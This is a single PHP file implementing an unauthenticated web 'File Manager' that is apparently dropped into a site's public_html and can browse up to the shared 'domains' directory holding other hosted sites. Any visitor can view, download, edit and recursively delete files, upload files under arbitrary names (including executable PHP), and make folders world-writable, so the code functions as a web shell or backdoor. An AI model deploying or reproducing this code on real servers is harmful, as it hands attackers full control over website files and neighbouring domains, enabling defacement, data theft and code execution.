a<?php
session_start();
error_reporting(E_ALL);
ini_set('display_errors', 1);
/*
Assumed structure:
.../domains/sunrisehelp.org/public_html <- this file stays here
Root we want to browse up to:
.../domains
*/
$base_dir = realpath(__DIR__); // public_html
$root_anchor = realpath(__DIR__ . '/../../'); // domains
if ($root_anchor === false) {
$root_anchor = $base_dir;
}
$default_rel = trim(str_replace($root_anchor, '', $base_dir), DIRECTORY_SEPARATOR);
function flash($msg = null) {
if ($msg !== null) {
$_SESSION['flash'] = $msg;
return;
}
if (!empty($_SESSION['flash'])) {
$m = $_SESSION['flash'];
unset($_SESSION['flash']);
return $m;
}
return '';
}
function sanitize_relative_path($path) {
$path = str_replace("\0", '', (string)$path);
$path = str_replace('\\', '/', $path);
$parts = explode('/', $path);
$clean = [];
foreach ($parts as $part) {
$part = trim($part);
if ($part === '' || $part === '.' || $part === '..') {
continue;
}
$part = preg_replace('/[\x00-\x1F\x7F]/u', '', $part);
if ($part !== '') {
$clean[] = $part;
}
}
return implode('/', $clean);
}
function sanitize_name($name) {
$name = str_replace("\0", '', (string)$name);
$name = basename($name);
$name = preg_replace('/[\x00-\x1F\x7F]/u', '', $name);
return trim($name);
}
function safe_realpath_within($path, $allowed_root) {
$rp = realpath($path);
if ($rp === false) return false;
$root = rtrim($allowed_root, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
return (strpos($rp . DIRECTORY_SEPARATOR, $root) === 0) ? $rp : false;
}
function get_file_list($dir) {
$files = [];
if (!is_dir($dir)) return $files;
foreach (scandir($dir) as $item) {
if ($item === '.' || $item === '..') continue;
$full = $dir . DIRECTORY_SEPARATOR . $item;
$files[] = [
'name' => $item,
'path' => $full,
'size' => is_file($full) ? @filesize($full) : 0,
'type' => is_dir($full) ? 'directory' : 'file',
'modified' => @filemtime($full) ? date('Y-m-d H:i:s', filemtime($full)) : '-'
];
}
usort($files, function($a, $b) {
if ($a['type'] !== $b['type']) {
return ($a['type'] === 'directory') ? -1 : 1;
}
return strcasecmp($a['name'], $b['name']);
});
return $files;
}
function format_size($bytes) {
$bytes = (float)$bytes;
if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB';
if ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB';
if ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB';
return $bytes . ' bytes';
}
function rrmdir($dir) {
if (!is_dir($dir)) return false;
$items = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::CHILD_FIRST
);
foreach ($items as $item) {
if ($item->isDir()) {
@rmdir($item->getRealPath());
} else {
@unlink($item->getRealPath());
}
}
return @rmdir($dir);
}
/*
Rule:
- no dir param => default = public_html
- ?dir= => root = domains
*/
if (!isset($_GET['dir'])) {
$requested_dir = $default_rel;
} else {
$requested_dir = sanitize_relative_path($_GET['dir']);
}
$current_dir = safe_realpath_within(
$root_anchor . DIRECTORY_SEPARATOR . $requested_dir,
$root_anchor
);
if ($current_dir === false) {
$current_dir = $root_anchor;
$requested_dir = '';
}
$relative_current = trim(str_replace($root_anchor, '', $current_dir), DIRECTORY_SEPARATOR);
$parent_dir = '';
if ($relative_current !== '') {
$parent_dir = dirname($relative_current);
if ($parent_dir === '.') $parent_dir = '';
}
$is_at_root = ($relative_current === '');
$action = $_GET['action'] ?? 'list';
switch ($action) {
case 'view':
$file = sanitize_name($_GET['file'] ?? '');
$path = $current_dir . DIRECTORY_SEPARATOR . $file;
$safe = safe_realpath_within($path, $root_anchor);
if ($safe && is_file($safe)) {
header('Content-Type: text/plain; charset=utf-8');
readfile($safe);
exit;
}
flash('File not found.');
header('Location: ?dir=' . urlencode($relative_current));
exit;
case 'edit':
$file = sanitize_name($_GET['file'] ?? '');
$path = $current_dir . DIRECTORY_SEPARATOR . $file;
$safe = safe_realpath_within($path, $root_anchor);
if (!$safe || !is_file($safe)) {
flash('Invalid file.');
header('Location: ?dir=' . urlencode($relative_current));
exit;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$content = $_POST['content'] ?? '';
if (@file_put_contents($safe, $content) !== false) {
flash('File saved successfully.');
} else {
flash('Failed to save file.');
}
header('Location: ?dir=' . urlencode($relative_current));
exit;
}
$content = htmlspecialchars((string)@file_get_contents($safe), ENT_QUOTES, 'UTF-8');
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Edit File</title>
<style>
body{font-family:Arial;background:#f4f4f4;padding:20px;}
.wrap{background:#fff;padding:20px;border-radius:10px;box-shadow:0 0 10px #ccc;}
textarea{width:100%;height:500px;font-family:monospace;font-size:14px;}
.btn{background:#007bff;color:#fff;padding:8px 12px;border:none;border-radius:5px;cursor:pointer;text-decoration:none;display:inline-block;}
.btn2{background:#6c757d;}
</style>
</head>
<body>
<div class="wrap">
<h2>Edit: <?= htmlspecialchars($file, ENT_QUOTES, 'UTF-8') ?></h2>
<form method="post">
<textarea name="content"><?= $content ?></textarea><br><br>
<button class="btn" type="submit">Save</button>
<a class="btn btn2" href="?dir=<?= urlencode($relative_current) ?>">Back</a>
</form>
</div>
</body>
</html>
<?php
exit;
case 'delete':
$file = sanitize_name($_GET['file'] ?? '');
$path = $current_dir . DIRECTORY_SEPARATOR . $file;
$safe = safe_realpath_within($path, $root_anchor);
if (!$safe) {
flash('Invalid path.');
header('Location: ?dir=' . urlencode($relative_current));
exit;
}
if (is_dir($safe)) {
if (rrmdir($safe)) {
flash('Folder deleted.');
} else {
flash('Failed to delete folder.');
}
} elseif (is_file($safe)) {
if (@unlink($safe)) {
flash('File deleted.');
} else {
flash('Failed to delete file.');
}
}
header('Location: ?dir=' . urlencode($relative_current));
exit;
case 'upload':
if (!empty($_FILES['file'])) {
$f = $_FILES['file'];
if ($f['error'] !== UPLOAD_ERR_OK) {
flash('Upload failed. Error code: ' . $f['error']);
header('Location: ?dir=' . urlencode($relative_current));
exit;
}
if (!is_dir($current_dir) || !is_writable($current_dir)) {
@chmod($current_dir, 0777);
}
$name = sanitize_name($f['name']);
if ($name === '') {
flash('Invalid filename.');
header('Location: ?dir=' . urlencode($relative_current));
exit;
}
$dest = $current_dir . DIRECTORY_SEPARATOR . $name;
if (@move_uploaded_file($f['tmp_name'], $dest)) {
@chmod($dest, 0644);
flash('File uploaded successfully.');
} else {
flash('move_uploaded_file failed.');
}
}
header('Location: ?dir=' . urlencode($relative_current));
exit;
case 'create_folder':
$folder = sanitize_name($_POST['folder_name'] ?? '');
if ($folder !== '') {
$path = $current_dir . DIRECTORY_SEPARATOR . $folder;
if (!file_exists($path)) {
if (@mkdir($path, 0777, true)) {
flash('Folder created.');
} else {
flash('Failed to create folder.');
}
} else {
flash('Folder already exists.');
}
} else {
flash('Folder name required.');
}
header('Location: ?dir=' . urlencode($relative_current));
exit;
case 'download':
$file = sanitize_name($_GET['file'] ?? '');
$path = $current_dir . DIRECTORY_SEPARATOR . $file;
$safe = safe_realpath_within($path, $root_anchor);
if ($safe && is_file($safe)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($safe) . '"');
header('Content-Length: ' . filesize($safe));
header('Pragma: public');
header('Cache-Control: must-revalidate');
readfile($safe);
exit;
}
flash('File not found.');
header('Location: ?dir=' . urlencode($relative_current));
exit;
}
$files = get_file_list($current_dir);
$msg = flash();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>File Manager</title>
<style>
body{font-family:Arial;background:#f4f4f4;padding:20px;}
.container{background:#fff;padding:20px;border-radius:10px;box-shadow:0 0 10px #ccc;}
.btn{background:#007bff;color:#fff;padding:6px 10px;border-radius:5px;text-decoration:none;border:none;cursor:pointer;display:inline-block;}
.btn:hover{opacity:.9;}
.btn.red{background:#dc3545;}
.btn.gray{background:#6c757d;}
.btn.disabled{background:#999;pointer-events:none;opacity:.7;}
.table{width:100%;border-collapse:collapse;}
th,td{padding:10px;border-bottom:1px solid #ddd;text-align:left;}
th{background:#007bff;color:#fff;}
.pathbox{background:#f7f7f7;padding:8px;border-radius:6px;border:1px solid #ddd;line-height:1.6;}
.alert{background:#eaf7ea;color:#1d6b1d;padding:10px;border-radius:6px;margin-bottom:15px;border:1px solid #bfe3bf;}
input[type="text"]{padding:8px;min-width:250px;}
</style>
</head>
<body>
<div class="container">
<h2>File Manager</h2>
<?php if ($msg): ?>
<div class="alert"><?= htmlspecialchars($msg, ENT_QUOTES, 'UTF-8') ?></div>
<?php endif; ?>
<div class="pathbox">
<b>Root:</b> <?= htmlspecialchars($root_anchor, ENT_QUOTES, 'UTF-8') ?><br>
<b>Current:</b> <?= htmlspecialchars($current_dir, ENT_QUOTES, 'UTF-8') ?>
</div>
<br>
<?php if (!$is_at_root): ?>
<a class="btn gray" href="?dir=<?= urlencode($parent_dir) ?>">Back</a>
<?php else: ?>
<span class="btn disabled">Back</span>
<?php endif; ?>
<a class="btn" href="?">Default (public_html)</a>
<a class="btn" href="?dir=">Root (domains)</a>
<br><br>
<form method="post" enctype="multipart/form-data" action="?action=upload&dir=<?= urlencode($relative_current) ?>">
<input type="file" name="file" required>
<button class="btn" type="submit">Upload</button>
</form>
<br>
<form method="post" action="?action=create_folder&dir=<?= urlencode($relative_current) ?>">
<input type="text" name="folder_name" placeholder="Folder name" required>
<button class="btn" type="submit">Create Folder</button>
</form>
<br><br>
<table class="table">
<tr>
<th>Name</th>
<th>Type</th>
<th>Size</th>
<th>Modified</th>
<th>Actions</th>
</tr>
<?php if (empty($files)): ?>
<tr>
<td colspan="5">No files found.</td>
</tr>
<?php else: ?>
<?php foreach ($files as $f): ?>
<tr>
<td><?= htmlspecialchars($f['name'], ENT_QUOTES, 'UTF-8') ?></td>
<td><?= htmlspecialchars($f['type'], ENT_QUOTES, 'UTF-8') ?></td>
<td><?= $f['type'] === 'file' ? format_size($f['size']) : '-' ?></td>
<td><?= htmlspecialchars($f['modified'], ENT_QUOTES, 'UTF-8') ?></td>
<td>
<?php if ($f['type'] === 'directory'):
$next = ($relative_current ? $relative_current . '/' : '') . $f['name'];
?>
<a class="btn" href="?dir=<?= urlencode($next) ?>">Open</a>
<?php else: ?>
<a class="btn" href="?action=view&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($relative_current) ?>">View</a>
<a class="btn" href="?action=edit&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($relative_current) ?>">Edit</a>
<a class="btn" href="?action=download&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($relative_current) ?>">Download</a>
<?php endif; ?>
<a class="btn red" href="?action=delete&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($relative_current) ?>" onclick="return confirm('Delete this item?')">Delete</a>
</td>
</tr>
<?php endforeach; ?>
<?php endif; ?>
</table>
</div>
</body>
</html>